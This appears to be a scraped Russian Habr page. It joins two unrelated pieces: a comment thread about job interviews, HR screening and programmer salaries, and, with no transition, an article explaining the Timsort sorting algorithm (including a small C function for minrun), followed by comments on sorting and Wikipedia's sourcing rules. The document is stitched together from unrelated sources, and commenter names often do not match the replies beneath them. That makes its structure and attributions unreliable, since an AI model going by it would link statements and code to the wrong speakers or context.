2) В резюме указывается минимум, который рассматривается оптимум. Может быть стоило бы указывать и минимум и оптимум в резюме?
BarsMonster
Эти уровни ЗП — по Москве?
Просто у нас вот (население почти 500 тыс.) дела таки:
30-40 — середнячок
15-25 — уверенный стажер
degorov
В миллионнике не сильно отличается ситуация.
stardust_kid
В целом статья верная, но автор тоже пару ошибок совершил.

Перед тем как отправлять резюме, надо самому довольно основательно изучать фирму и хотя бы себе ответить «зачем я там работать хочу?». Тогда и бегать по 4 собеседования в день не придется и казусов с «зарплату только через 3 месяца» не будет.

Желаемую зп надо указывать чуть выше, чем себя оцениваешь, а не нижний порог, тогда её обсуждение перестанет быть больной темой.
BarsMonster
надо самому довольно основательно изучать фирму и хотя бы себе ответить «зачем я там работать хочу?»
Я как-то честно признался, что меня привлекает близость к дому. По глазам собеседников понял, что не угадал :)
stardust_kid
Кстати, вот что еще раздражает. Прихожу я на собеседование, и у меня в резюме ясно написано, что у меня 3 года опыта и сдан SCJP.
— Начнем с JavaSE.
— У меня сдан экзамен SCJP.
— Я вижу. Чем отличается объект от примитива?..

И еще час подобных вопросов.
summerwind
Знаете, по опыту собеседованний за последние пару лет, есть и обратная ситуация (по-крайней мере в web) — когда полно средненьких или совсем зеленных разработчиков при этом претендующих на зп тим-лида. Поверьте, на ХХ немало резюме в духе: 19 лет, опыт работы в одной конторе всего, желаемая ЗП — 100/120 тыс руб (речь про Санкт-Петербург) и желаемая должность — тим-лид/технический директор. Очень часто разработчики пренетдующие на зп 70 тыс (потому что в прошлом месте он получал 60 и уволился(ли)) не понимают или даже не знают вообще про такие вещи как атомарность. Научились пользоваться каким-то ходовым фреймворком и на этом их знания, по-сути, заканчиваются. И таких «специалистов» на рынке не 1-2, а достаточно, чтобы сделать вывод, что сейчас рынок, к сожалению, испорчен — да, если ты не Гугл, то выбирают разработчики.
Cancel
Именно про это и написал тут спрос породил предложения, и поверьте у них ооочень неплохие шансы найти таки себе место на их условиях.
Stdit
рано или поздно найдут. если кому-то из «зеленых» не повезет, то его даже возьмут тех.диром :) вопрос только с какой целью…
relgames
На рынке очень хороших разработчиков тоже выбирают разработчики, а вовсе не гуглы.
Losted
вы реально думаете что есть какие-то веские основание считать, что человек в 19 лет готов для тех дира?

p.s.: причем тут планка ЗП в конкретной компании и ситуация на рынке?

p.p.s.: ваш комментарий напомнил ответ одного джуниора почему он нам не подходит (я даже из письма скопирую):

так вы мне точно то напишите что требуется и я выучу)))
я сам PHP за три месяца освоил еще через 2 пдо за ним почти сразу mysqli еще через два пришлось учить smarty и вот сейчас заканчиваю с ОО стилем)) так что думаю ajax и тп тоже дастся легко))

tepexob
вы реально думаете что есть какие-то веские основание считать, что человек в 19 лет готов для тех дира?

Я про зарплату говорил.

p.s.: причем тут планка ЗП в конкретной компании и ситуация на рынке?

Вы правы, между зарплатов и ситуацией на рынке никакой корелляции.

Исходя из негативного тона вашего комментария я понял, что вы априори полагаете, что все соискатели глупее вас, и именно ваши критерии являются эталоном. Удачи в поиске, надеюсь, таковые соискатели долго не закончатся.

kaichou
замечательные выводы на пустом месте!
plandem
Вы видимо не сталкивались просто с такими кадрами на собеседованиях. К сожалению таких приходит очень много. Я допускаю, что наверное есть гении и в 19 лет, но те что я видел — просто наивные халявщики. Без знаний и опыта.
VolCh
у меня был небольшой опыт поиска программиста в фирме. И я понимаю, о чем вы. Но таких были единицы, и мы особо не обращали на них внимание: «Лол, зацени какое резюме». Намного больше было 19-22 ребят, которые реально хотели развиваться и работать. Некоторые из них не знали рынка и поэтому ставили себе какие-то неадекватные зарплаты или позиции. После 15-минутного объяснения, они соглашались один даже попросил прямо у нас переписать резюме.
Тут работает избирательность восприятия. Если ты ищешь сотрудника с установкой: «Ща, Колян, будем нубасов попускать», то именно такие к тебе и придут. Это весело, конечно, но задачу поиска сотрудника не решает.
plandem
Интересный опыт. Но одного желания развиваться бывает недостаточно. Чаще нужны опытные кадры здесь и сейчас, и компания не готова ждать год, пока с человека пойдет нормальный выхлоп. А через год он может еще и свалить, получив необходимый опыт.
mekegi
Опытные кадры везде дефицит.
Это мое субъективное мнение: секрет успеха поиска опытных кадров — всякий раз перед тем, как открыть вакансию, подумать, почему ушел предыдущий сотрудник и были ли устранены причины его ухода. Иначе это цикл граблей получается, с возрастающей суммой затрат.
VolCh
секрет успеха от человека с небольшим опытом собеседований вызывает доверие :)

то, что вы написали работает в случае компании со стажем. В случае новой компании — когда формируется штат, например, под конкретный проект и инвестиции, ваш «цикл граблей» просто еще не настал — штат еще надо сформировать.

p.s.: опытные кадры на то и опытные. речь изначально была про то, что джуниоры претендуют на звание опытного — несоответствие уровня подготовки спеца и его желания считать себя таким спецом.

Эффект Даннинга — Крюгера: ru.wikipedia.org/wiki/%D0%AD%D1%84%D1%84%D0%B5%D0%BA%D1%82_%D0%94%D0%B0%D0%BD%D0%BD%D0%B8%D0%BD%D0%B3%D0%B0_%E2%80%94_%D0%9A%D1%80%D1%8E%D0%B3%D0%B5%D1%80%D0%B0
SSar
А потратить 2-3 минуты в начале собеседования, чтобы объяснить соискателю: под миддлом (сениором) мы понимаем специалиста с таким-то опытом, таким-то уровнем знаний по той или иной теме и умением решать такие-то задачи, религия не позволяет?
Не «атомарность» и «синглтон», а формально описанные реальные задачи. Например, просчитывать влияние рисков на бюджет для проджект-менеджера, умение выбрать технологию исходя из требований к качеству и бюджета для тимлида. Это я первое что пришло в голову говорю. А потом когда соискатель закивает головой, сказать страшным голосом:
— Обоснуй, ШКОЛОТА!
И всем все ясно.
tepexob
ну если он сейчас получает 60, то зачем ему дёргаться на зп в 70?
Fadeev
причин может быть много :) начиная от ипотеки, которой раньше не было и заканчивая — надоел фронт работ, коллектив :)
khanid
при прочих равных 16% прибавки — разве плохо?
Inori
Прочие не совсем равные. На новом месте больше рисков, что что-то не устроит.
ncix
Хорошо, за сколько вы готовы рискнуть?
Nucleotide
50% прибавки, и можно рассмотреть предложение, пообщаться с потенциальным руководителем, почесать в затылке (хотя в моем случае +50% уже скорее всего будет содержать в себе море бумажной работы, встречи, презентации и т.д. вместо непосредственной работы с железом, так что я скорее всего откажусь).

Это за исключением буквально пары позиций в паре конкретных компаний, туда я рвану сходу и не раздумывая, на текущий оклад или даже чуть ниже.

Но это — случай «текущее место всем устраивает». Если текущее место перестает устраивать, то можно ориентироваться на примерно тот же уровень зарплат.
plandem
Зависит от ситуации. Если прямо сейчас конкретно, то и 0%, и даже в минус :) Полгода назад где-то 50%.
SSar
А где гарантия, что прочие окажутся равными? На текущем месте уже сложились отношения, понятно, что от тебя ждут, ясен спектр задач. А на новом?
plandem
Хорошо, за сколько вы готовы рискнуть?
Cancel
Прямо сейчас или в принципе:)? Прямо сейчас не меньше, чем за 50 — это если именно рискнуть (тут еще, правда, роль играет, что у меня квартира в 10 минутах пешком от офиса — если бы при смене это не изменилось, возможно, и 30-35% хватило бы). Если не рискнуть, а знакомый позвал бы, рассказав, что у них хорошо — то меньше, конечно. Но ради 15% вряд ли бы дергаться стал — ну если только вдруг там работа принципиально интереснее оказалась бы (но это уже не чисто денежная мотивация).
В принципе же, с абстрактного места работы, допускаю, что даже с потерей в зарплате мог бы перейти — но вряд ли больше 15%, да.
stardust_kid
А это зависит насколько остро нужна эти 16%. Если бюджет не сходится — то очень нужны.
Для повышения комфорта жизни — мало.
plandem
Серьёзно, не могу понять, что нового вы написали? Да, по большей части всё правильно, но то же самое, но другими словами написано (даже на той же Хабре) уже тысячу и 1 раз.
Знаете, и как соискатель, и как человек, проводящий собеседования, четно скажу, что такие статьи уже порядком поднадоели.

Скажите, пожалуйста, вы сами хоть раз проводили собеседования?
Это, конечно, очень круто с одного берега кричать как нужно жить на другом, но вы попробуйте сами по-проводить по несколько собеседований в день, быть может поймёте, почему и у hr, и у тех. спецов компании, проводящих собеседование, бывает несколько отстранённое к вам отношение.

И прошу, учтите, что те, кто проводят собеседования, не просто сидят и в течении дня ждут кандидатов — у них как и у вас полным-полно работы. А если учесть «чин» тех. интервьюеров (как правило, тимлиды и пр. тех. руководители), то вы должны понимать, что у этих людей задач/проблем столько, что заморачиваться очередным собеседованием зачастую нет ни времени, ни сил.

Пожалуйста, прежде чем судить кого-то, постойте на его месте.
stardust_kid
Если ты такой крутой начальник, то тебе и полагается больше с людьми работать, чем со «станком».

А если ты мастер, то достаточно минут 5-10, чтобы разглядеть в кандидате спеца. Можно совместить с обеденным чаем/кофе/сигретой.
plandem
работу-то нашли?
ncix
Вдохновили на обновление резюме.
stardust_kid
Если честно, то все эти рекомендации выглядят как просьба просто быть вежлевым. В сущности, именно это и есть вежлевость: постараться сберечь время, не ставить в неловкую ситуацию и хорошо выполнять своб работу.
Тоже самое относится и к соискателю. Очень неприятно, когда человек по телефону убеждает тебя в своем хорошем знании и большом опыте в какой-то области, а на собеседовании выясняется, что ни в зуб ногой. Помните, что не только у вас 5 собеседований в день, но и у собеседующего. При этом у него есть ещё и непосредственная работа (в отличие от вас).
ncix
HR менеджер Дойч Банка пригласил меня на собеседование, сказав что это будет техническое собеседование, а на деле спрашивал какие-то общие вопросы и никакого технического специалиста и близко небыло. Я указал ему на невежливость с его стороны, на что он ответил что до трудоустройства может пройти 5-7 собеседований. Конечно я отказался от дальнейшей траты времени. Я только на дорогу в общей сложности день потрачу. Честно говоря мне сложно представить хорошего программиста, который готов на такие пытки. Только если он по каким то причинам хочет работать именно в этой компании. В остальных случаях они отметают большую часть хороших специалистов, которым жалко своего времени.
stardust_kid
Да, HR-службы многих компаний сильно доставляют. Недавно звонили из Интела, предлагали поделать баннеры и поверстать письма для корпоративной почты. У меня в специализации написано «Front-end. HTML/CSS/JS». Так девочка из HR смущенно сказала, что «Ну, у вас же написано в резюме — HTML»
plandem
Вот когда я читаю Вашу статью в качестве программиста, то полностью согласен и всеми руками за.
Но вот когда читаю как менеджер, которому приходится сидеть по другую сторону стола на собеседовании, мне хочется плакать.

Все ниже из личного опыта:

Представьте 2-3 собеседования в день. По часу в среднем, вытягивать слова из человека.

Люди приходящие на сеньора и просящие >150 т.р./м. краснеют и запинаются, когда мои совсем-недавно-студенты их опускают как по ширине так и по глубине знаний.

Действительно из-за общения HR-ов очень много резюме сливается, но к сожалению тратить время тех.специалиста на прозвон резюме я не в состоянии — в текущий момент повышаю уровень HR.

В каждом отдельном случае я решаю персонально, на каких условия работать с человеком. Бывает 60% оклада на 1 мес как испытательный, или 80% на 3 мес. Мне нужно, чтобы человек доказал делом, что он хочет здесь работать.

Действительно очень мало реально толковых кодеров. Обычно такие люди одновременно имею несколько оферов и сами выбирают наиболее понравившийся вариант.

PS. 17 собеседований?! Какое количество оферов из 17?
stardust_kid
краснеют и запинаются, когда мои совсем-недавно-студенты их опускают как по ширине так и по глубине знаний

Если поставить за цель краснеть и запинаться интервьюируемого, то это совсем не трудно. Cпециалиста абсолютно любого уровня можно завалить. У интервьюера изначально позиция позволяет изучить вопрос глубже ровно настолько, что бы этого хватило для провала собеседника.
plandem
Думаю, что…
Программист — ранее Инженер. Без конкретники, и в общей массе.
Служащий — нынче Манагер.
Это конечно о 20 веке
vladon
Мне очень понравился довольно редкий метод собеседования, когда интервьюером выступают те, с кем Вам придётся в дальнейшем работать — такие-же программисты, администраторы. Во-первых, коллектив быстрее поймёт — соответствуете ли вы уровню и специфике требований проекта, во вторых — Вы поймёте, хоть и первично, насколько Вам будет комфортно работать в этом коллективе. А уж с руководителем и/или HR нужно, как мне кажется обсуждать уже социальные и бонусные вопросы. Я это видел. Мне это понравилось.
plandem
Хорошая статья, последний абзац особенно) ну и да, Везёт тем кто Везёт
monzdrpower
hh:


После 2008 все было не так хорошо, сейчас конечно выправилось, но рано или поздно кризис опять повторится
VolCh
<сарказм> Не надо статьи такие писать. Пускай остаются неадекватные HRы — они хороший индикатор мест, куда ходить не стоит. Без них вы могли потратить намного больше времени. </сарказм>

А вообще я такое видел пару раз только и всегда удивляюсь, что кто-то нарывается на них чаще. Может, сузить поиск?

ps: извиняюсь, ответил мимо :)
monzdrpower
Я вот всего два раза в жизни искал работу именно таким способом — рассылал резюме. Но эти оба раза как-то очень удачно получалось.
Первый раз я искал работу сисадмином. Это было 11 лет назад. Было три собеседования. Первое проводил директор компании, но технически грамотный — тут я провалился, уровня знаний не хватало. Второе собеседование было с двумя людьми: первый — рядовой сисадмин, его я удовлетворил и меня отправили к главному сисадмину — типа директор ИТ-отдела. Его я тоже удовлетворил. Не удовлетворил я бухгалтерию — я понаехавший и связываться со мной они не захотели. Третье собеседование было с руководителем ИТ-отдела, который попросил утром выйти на работу. В общем-то за пару дней я нашел работу. За 5 лет работы поменял 3 места, но уже без поисков, просто куда-то переходил. В итоге решил уйти на фриланс, так как веб-разработка привлекала больше чем сисадминство. Фрилансил еще 5 лет и решил опять найти постоянную работу. Только резюме всем подряд я не рассылал и ни на каких хедхантерах не размещал. Решил точечно пройтись по компаниям, которые меня привлекают. Отправил в первую компанию, через пару часов получил ответ, на следующий день прошел собеседование, через неделю вышел на работу )
JDima
Очередной крик души. Ох как часто мне хочется чтобы кадровики исчезли, испарились, чтобы их просто не существовало в природе. Часто собеседую людей и порой кажется, что мне нужна большая коробка, в которую каждый заинтересованный в новом сотруднике напишет свое пожелание к нему. Стартаперы, ау, сделайте такую вменяемую систему, я буду пользоваться -обещаю. Я эти пожелания систематизирую и дам прочитать претенденту прежде чем он вообще задумается о приезде к нам на собеседование. А в итоге мне приходится собеседовать человека, который прошел через сито hr, в меру понимания кадровиком сути работы кадрового отдела, расовых и религиозных предпочтений кадрового отдела, дипломо-поклонства кадрового отдела, возрастных и половых предпочтений кадрового отдела и никогда профессионального соответствия претендента. Весь прошлый месяц мне нужен был специалист по плис, кто попадал ко мне на собеседование: радиомонтажники, сисадмины и очень много менеджеров. Разговориваешь с кадровиками, объясняешь ситуацию, кивают головой, отвечают, умные глазенки, вроде вменяемые люди. Cобеседование и снова: радиомонтажники, сисадмины и очень много менеджеров.Иду в кадры, сажусь за базу присланых резюме и сходу нахожу десяток нормальных вменяемых кандидатов, собеседую согласившихся и выбираю двоих на испытательный.
Может и не нужны производству кадровики вовсе?
VolCh
Может они должны быть второй линией?
Derryk
У нас так сделано — сначала технический специалист, потом тесты HRов на тему выяснения потенциала.
monzdrpower
Для себя я делю все IT-компании на два лагеря. Первые делают что-то такое экслюзивное, новое, сложное и интересное. Другие — это IT-фабрики, штампующие однотипные сайты, аппсы и сервисы. Требования к сотрудникам у них разные, что вполне объяснимо. Я ненавижу рутинную работу, поэтому стараюсь поскорее разобраться с кем имею дело, и сразу отказаться от штамповщиков. Однако, именно у штамповщиков бывает хорошо отстроенные отдела HR, четкие собеседования, встреча на проходной, заготовленные анкеты. У них дикая текучка кадров, механизм найма, как в макдоналдсе, отстроен и отлажен. В интересных компаниях царит сумбур: вечные накладки, спешка и простои — всё как мы любим :) Собственно, суть нашей профессии в том, чтобы старательно упорядочивать, формализовать, причесывать и заставлять тикать как часики. Главное, чтобы с деньгами у компании была полнейшая определенность. Обмен должен быть равноценным.
Derryk
Везение, кстати, вполне себе есть. Оно заключается в том, что работа, которая автору нравится (программирование) в данный момент востребована и хорошо оплачивается. Если бы автору нравилось изучать уйгурские рукописи 4-12 веков (в теме упоминалось), то вне зависимости от затраченных на обучение усилий выбирать из многих мест работы бы ему, скорее всего, не довелось бы. Что, безусловно, не отменяет полезности и достойности затраченного на обучение упорного труда.
Ну, правда, есть еще вариант: человеку очень не нравится программировать, и пошел в программисты он исключительно из-за денег. Тут, конечно, о везении речи уже нет.
kzn
Собеседовался на джуниор дизайнера в Приватбанк и мне дали тз на неделю по 3-ем продуктам компании. О_О При чем 2/3 было по тому, чем я никогда не занимался и не указывал это в резюме.

Я бы еще добавил пункт «Отказывайте претенденту вежливо». В том же Приватбанке люди, проводившие собеседование, просто на меня забили после получения ссылки на файлы задания и не отвечали на сообщения, хотя были онлайн. То есть, я должен был сам догадаться, что не прошел. В будущем, когда я вырасту в навыках, я вряд ли стану общаться с подобными компаниями.: Р
Timsort, в отличии от всяких там «пузырьков» и «вставок», штука относительно новая — изобретен был в 2002 году Тимом Петерсом (в честь него и назван). С тех пор он уже стал стандартным алгоритмом сортировки в Python, OpenJDK 7 и Android JDK 1.5. А чтобы понять почему — достаточно взглянуть на вот эту табличку из Википедии.


Среди, на первый взгляд, огромного выбора в таблице есть всего 7 адекватных алгоритмов (со сложностью O(n logn) в среднем и худшем случае), среди которых только 2 могут похвастаться стабильностью и сложностью O(n) в лучшем случае. Один из этих двух — это давно и хорошо всем известная «Сортировка с помощью двоичного дерева». А вот второй как-раз таки Timsort.

Алгоритм построен на той идее, что в реальном мире сортируемый массив данных часто содержат в себе упорядоченные (не важно, по возрастанию или по убыванию) подмассивы. Это и вправду часто так. На таких данных Timsort рвёт в клочья все остальные алгоритмы.

Сразу к сути


Не ждите тут каких-то сложных математических открытий. Дело в том, что на самом деле Timsort — это не полностью самостоятельный алгоритм, а гибрид, эффективная комбинация нескольких других алгоритмов, приправленная собственными идеями. Очень коротко суть алгоритма можно объяснить так:
  1. По специальному алгоритму разделяем входной массив на подмассивы.
  2. Сортируем каждый подмассив обычной сортировкой вставками.
  3. Собираем отсортированные подмассивы в единый массив с помощью модифицированной сортировки слиянием.
Дьявол, как всегда, скрывается в деталях, а именно в алгоритме из пункта 1 и модификации сортировки слиянием из пункта 3.

Алгоритм


Используемые понятия
  • N — размер входного массива
  • run — упорядоченный подмассив во входном массиве. Причём упорядоченный либо нестрого по возрастанию, либо строго по убыванию. Т.е или «a0 <= a1 <= a2 <= ...», либо «a0 > a1 > a2 > ...»
  • minrun — как было сказано выше, на первом шаге алгоритма входной массив будет поделен на подмассивы. minrun — это минимальный размер такого подмассива. Это число рассчитывается по определённой логике из числа N.



Шаг 0. Вычисление minrun.

Число minrun определяется на основе N исходя из следующих принципов:
  1. Оно не должно быть слишком большим, поскольку к подмассиву размера minrun будет в дальнейшем применена сортировка вставками, а она эффективна только на небольших массивах
  2. Оно не должно быть слишком маленьким, поскольку чем меньше подмассив — тем больше итераций слияния подмассивов придётся выполнить на последнем шаге алгоритма.
  3. Хорошо бы, чтобы N \ minrun было степенью числа 2 (или близким к нему). Это требование обусловлено тем, что алгоритм слияния подмассивов наиболее эффективно работает на подмассивах примерно равного размера.
В этом месте автор алгоритма ссылается на собственные эксперименты, показавшие, что при minrun> 256 нарушается пункт 1, при minrun < 8 — пункт 2 и наиболее эффективно использовать значения из диапазона (32;65). Исключение — если N < 64, тогда minrun = N и timsort превращается в простую сортировку вставкой. В данный момент алгоритм расчёта minrun просто до безобразия: берём старшие 6 бит из N и добавляем единицу, если в оставшихся младших битах есть хотя бы один ненулевой. Примерный код выглядит так:
	int GetMinrun(int n)
	{
	    int r = 0;           /* станет 1 если среди сдвинутых битов будет хотя бы 1 ненулевой */
	    while (n >= 64) {
	        r |= n & 1;
	        n >>= 1;
	    }
	    return n + r;
	}

Шаг 1. Разбиение на подмассивы и их сортировка.

Итак, на данном этапе у нас есть входной массив, его размер N и вычисленное число minrun. Алгоритм работы этого шага:
  1. Ставим указатель текущего элемента в начало входного массива.
  2. Начиная с текущего элемента, ищем во входном массиве run (упорядоченный подмассив). По определению, в этот run однозначно войдет текущий элемент и следующий за ним, а вот дальше — уже как повезет. Если получившийся подмассив упорядочен по убыванию — переставляем элементы так, чтобы они шли по возрастанию (это простой линейный алгоритм, просто идём с обоих концов к середине, меняя элементы местами).
  3. Если размер текущего run'а меньше чем minrun — берём следующие за найденным run-ом элементы в количестве minrun — size(run). Таким образом, на выходе у нас получается подмассив размером minrun или больше, часть которого (а в идеале — он весь) упорядочена.
  4. Применяем к данному подмассиву сортировку вставками. Так как размер подмассива невелик и часть его уже упорядочена — сортировка работает быстро и эффективно.
  5. Ставим указатель текущего элемента на следующий за подмассивом элемент.
  6. Если конец входного массива не достигнут — переход к пункту 2, иначе — конец данного шага.

Шаг 2. Слияние.

На данном этапе у нас имеется входной массив, разбитый на подмассивы, каждый из которых упорядочен. Если данные входного массива были близки к случайным — размер упорядоченных подмассивов близок к minrun, если в данных были упорядоченные диапазоны (а исходя из рекомендаций по применению алгоритма, у нас есть основания на это надеяться) — упорядоченные подмассивы имеют размер, превышающий minrun.
Теперь нам нужно объединить эти подмассивы для получения результирующего, полностью упорядоченного массива. Причём по ходу этого объединения нужно выполнить 2 требования:
  1. Объединять подмассивы примерно равного размера (так получается эффективнее).
  2. Сохранить стабильность алгоритма — т.е. не делать бессмысленных перестановок (например, не менять два последовательно стоящих одинаковых числа местами).

Достигается это таким образом.
  1. Создаем пустой стек пар <индекс начала подмассива>-<размер подмассива>. Берём первый упорядоченный подмассив.
  2. Добавляем в стек пару данных <индекс начала>-<размер> для текущего подмассива.
  3. Определяем, нужно ли выполнять процедуру слияния текущего подмассива с предыдущими. Для этого проверяется выполнение 2 правил (пусть X, Y и Z — размеры трёх верхних в стеке подмассивов):
    X > Y + Z
    Y > Z
  4. Если одно из правил нарушается — массив Y сливается с меньшим из массивов X и Z. Повторяется до выполнения обоих правил или полного упорядочивания данных.
  5. Если еще остались не рассмотренные подмассивы — берём следующий и переходим к пункту 2. Иначе — конец.

Цель этой хитрой процедуры — сохранение баланса. Т.е. изменения будут выглядеть вот так:

а значит, размеры подмассивов в стеке эффективны для дальнейшей сортировки слиянием. Представьте себе идеальный случай: у нас есть подмассивы размера 128, 64, 32, 16, 8, 4, 2, 2 (забудем на секунду о наличии требования «размер подмассива >= minrun»). В этом случае никаких слияний не будет выполнятся пока не встретятся 2 последних подмассива, а вот после этого будут выполнены 7 идеально сбалансированных слияний.

Процедура слияния подмассивов

Как Вы помните, на втором шаге алгоритма мы занимаемся слиянием двух подмассивов в один упорядоченный. Мы всегда соединяем 2 последовательных подмассива. Для их слияния используется дополнительная память.
  1. Создаём временный массив в размере меньшего из соединяемых подмассивов.
  2. Копируем меньший из подмассивов во временный массив
  3. Ставим указатели текущей позиции на первые элементы большего и временного массива.
  4. На каждом следующем шаге рассматриваем значение текущих элементов в большем и временном массивах, берём меньший из них и копируем его в новый отсортированный массив. Перемещаем указатель текущего элемента в массиве, из которого был взят элемент.
  5. Повторяем 4, пока один из массивов не закончится.
  6. Добавляем все элементы оставшегося массива в конец нового массива.


Модификация процедуры слияния подмассивов

Всё, вроде бы, хорошо в показанном выше алгоритме слияния. Кроме одного. Представьте себе процедуру слияния двух вот таких массивов:
A = {1, 2, 3,..., 9999, 10000}
B = { 20000, 20001, ...., 29999, 30000}
Вышеуказанная процедура для них, конечно, сработает, но каждый раз на её четвёртом пункте нужно будет выполнить одно сравнение и одно копирование. И того 10000 сравнений и 10000 копирований. Алгоритм Timsort предлагает в этом месте модификацию, которую он называет «галоп». Суть в следующем:
  1. Начинаем процедуру слияния, как было показано выше.
  2. На каждой операции копирования элемента из временного или большего подмассива в результирующий запоминаем, из какого именно подмассива был элемент.
  3. Если уже некоторое количество элементов (в данной реализации алгоритма это число жестко равно 7) было взято из одного и того же массива — предполагаем, что и дальше нам придётся брать данные из него. Чтобы подтвердить эту идею, мы переходим в режим «галопа», т.е. бежим по массиву-претенденту на поставку следующей большой порции данных бинарным поиском (мы помним, что массив упорядочен и мы имеем полное право на бинарный поиск) текущего элемента из второго соединяемого массива. Бинарный поиск эффективнее линейного, а потому операций поиска будет намного меньше.
  4. Найдя, наконец, момент, когда данные из текущего массива-поставщика нам больше не подходят (или дойдя до конца массива), мы можем, наконец, скопировать их все разом (что может быть эффективнее копирования одиночных элементов).

Возможно, объяснение слегка туманно, попробуем на примере.
A = {1, 2, 3,..., 9999, 10000}
B = { 20000, 20001, ...., 29999, 30000}
  1. Первые 7 итераций мы сравниваем числа 1, 2, 3, 4, 5, 6 и 7 из массива A с числом 20000 и, убедившись, что 20000 больше — копируем элементы массива A в результирующий.
  2. Начиная со следующей итерации переходим в режим «галопа»: сравниваем с числом 20000 последовательно элементы 8, 10, 14, 22, 38, n+2^i, ..., 10000 массива A. Как видно, таких сравнение будет намного меньше 10000.
  3. Мы дошли до конца массива A и знаем, что он весь меньше B (мы могли также остановиться где-то посередине). Копируем нужные данные из массива A в результирующий, идём дальше.

Вот и весь алгоритм.

Материалы по теме
GodSon
надо будет заимплементить под php
crmMaster
И отхватить много приятных минут на типах, отличных от целого из-за битовых операций.
naething
Можно подробнее, чем помешают битовые операции? Либо я чего-то не понимаю, либо они используются только для вычисления параметра minrun.
macik_spb
Пользовательская реализация все равно будет проигрывать в скорости встроенным алгоритмам. Да и памяти предложенный вариант кушает…
ddv
Нужно добавить в sort, ksort krsort и т.п. параметр с дефолтным значением константа SM_QUICKSORT(SM типа Sort Method или чё нить другое) и будет возможность юзать например SM_TIMSORT
sefus
Думаю, эта статья могла бы стать русской версией страницы в википедии, если оформить ее по правилам.
tangro
Я вот неоднократно сталкивался с тем, что при публикации статьи в Википедию примерно 60% усилий уходит на написание статьи, а еще 40% — на ее оформление по правилам Википедии и доказательство всем окружающим её важности, значимости, достоверности и т.д. После нескольких провалов именно на последнем этапе я навсегда зарёкся писать статьи на Википедию. С Хабром проще — статья по делу будет принята хорошо и без всего этого занудства.
ShpuntiK
Да нет, нормально. Я ж не читать, я писать туда перестал.
tangro
Я как бывший «старый пердун-админ» могу сказать, что если вы не про очередного покемона решили писать, то никаких проблем не будет.

Тут есть один нюанс: писать надо НЕ ИЗ ГОЛОВЫ. А по источникам.
amarao
посему сначала надо написать на хабре, а потом на Википедии сослаться на свою же статью как бы со стороны.
И уже авторитетно...! подкреплено ссылкой...!
dnv777
Не могу не вспомнить:
xkcd.com/978/
lxyd
Тут есть один ньюанс — если я крупный специалист в области, о которой пишу и сам себе источник — то облом.
А подкрепить любой безумный высер такими же высерамии дурналистов — раз плюнуть.
Публикация информации и википедическое преломление
amarao
Википедия на это отвечает, что мол, «Вики — не место для оригинальных исследований». Т.е. сначала опубликуйтесь где-то, пусть Вас там покритикуют, и, если решат что дело говорите — тогда уж пишите на Вики со ссылкой на публикацию. Они, может быть и правы. Только вот те, кто где-то там опубликуются, тем Вики уже и нафиг не нужна.
intnzy
Угу. Более того, в силу очевидного конфликта интересов, считается неэтичным ссылаться на свои работы (даже рецензированные) при написании статей. То есть ты тристараз умный, а ссылаться можно только вот на то ничтожество, которое на диссертации подлые вопросы задавало, но никак не на себя умного и объективного.
tangro
Да, именно так. Публикация оригинальных исследований запрещена.

Причина — вы считаете себя крупным специалистом, а окружающие спецы считают вас некрупным прохиндеем, пилящим бюджет на серебрянных фильтрах для воды. Кто прав?

Википедия не место для публикации _НОВЫХ_ данных, это место для сбора хорошо проверенных и общеизвестных в профессиональных кругах фактов, а так же место для отражения наличия разногласий по вопросу при их наличии.

Вот именно люди, которые «всё знают и сами себе авторитетный источник» больше всего в википедии страдают, когда их очередную теорию квантово-торсионного излечения ауры (именно в этом вопросе они очень крупные специалисты) сносят за отсутствие источников.

Если честно, я столько раз это говорил в википедии, что уже повторять лень.

Нет источников — написано из головы — проверить невозможно — кандидат на удаление. Точка.
amarao
Если кому-то хочется — может оформить и выложить. Правила Хабра это позволяют, да и я не против.
amarao
Немного не понял почему этот алгоритм лучше чем использование бинарного дерева.
И здесь, и там O(n) достигается при уже отсортированном массиве.
Infopulse_Ukraine
При уже отсортированном массиве — ничем не лучше. Даже обычной сортировки вставской не лучше. Лучше на массиве, содержащем, скажем, 20 упорядоченных подмассивов, которые, однако, не упорядочены между собой.

Т.е. проще говоря, идеальные случаи отличаются и, по мнению автора, хорошие для Timsort случаи встречается в реальной жизни чаще хороших случаев других алгоритмов.
mark_ablov
А почему не брался в расчет smoothsort? Ведь там память O(1), а все остальные показатели такие же, кроме stable. Stable означает, что рядом стоящие элементы в правильном порядке не будут переставляться?
На больших массивах выделение памяти имеет значение и на очень маленьких тоже.
Infopulse_Ukraine
Никто и не спорит, что другие алгоритмы имеют право на жизнь, статья описывает только достоинства и недостатки данного алгоритма. А что и когда использовать — решать нужно в каждом конкретном случае. «Стабильность», к стати, означает еще и то, что если в сортируемом массиве встретятся подряд идущие одинаковые элементы — стабильный метод их переставлять не будет, а нестабильный волен хоть 100 раз их перетасовать.

Я так думаю, что лучшее применение этой штуки — например, слить в одну пару таблиц из базы или листов из экселевской книги. Частично отсортированные данные, величины порядка тысяч\миллионов записей — самое то.
vics001
Если уже некоторое количество элементов (в данной реализации алгоритма это число жестко равно 7) было взято из одного и того же массива — предполагаем, что и дальше нам придётся брать данные из него.

А нельзя, дополнительно перед слиянием, сравнить границы сливаемых массивов, чтобы в случае вашего примера сразу последовательно переписать массивы в результирующий?
Infopulse_Ukraine
> «Стабильность», к стати, означает еще и то, что если в сортируемом массиве встретятся подряд идущие одинаковые элементы — стабильный метод их переставлять не будет, а нестабильный волен хоть 100 раз их перетасовать.

Очевидно, что любую сортировку можно сделать стабильной (устойчивой), добавив O(n) используемой памяти. Для этого вместе с данными нужно хранить позиции элементов в оригинальном массиве и при равенстве ключей сравнивать эти позиции.
bat
Замечательная статья! Не хватает только одного: сравнения Timsort и Binary tree sort, ведь у них равные параметры.
lipstick
Почитайте статьи по ссылкам в конце статьи. Там есть результаты сравнения с некоторыми другими алгоритмами.
8bitjoey
Небольшое замечание по поводу сравнения с другими алгоритмами — оно не совсем корректное: TimSort следует сравнивать по трудоемкости со стабильными алгоритмами сортировки сравнениями.

А в таблице каша получается: намешаны алгоритмы разного типа. Если уж перечислять, то добавьте и Bucket Sort, которая всегда O(n) по трудоемкости.

А вообще разных более или менее хороших алгоритмов гораздо больше, чем приведено здесь. И вообще не понятно, зачем сравнивать с заведомо проигрышным Bogosort, который нигде и не используется наверно )
Infopulse_Ukraine
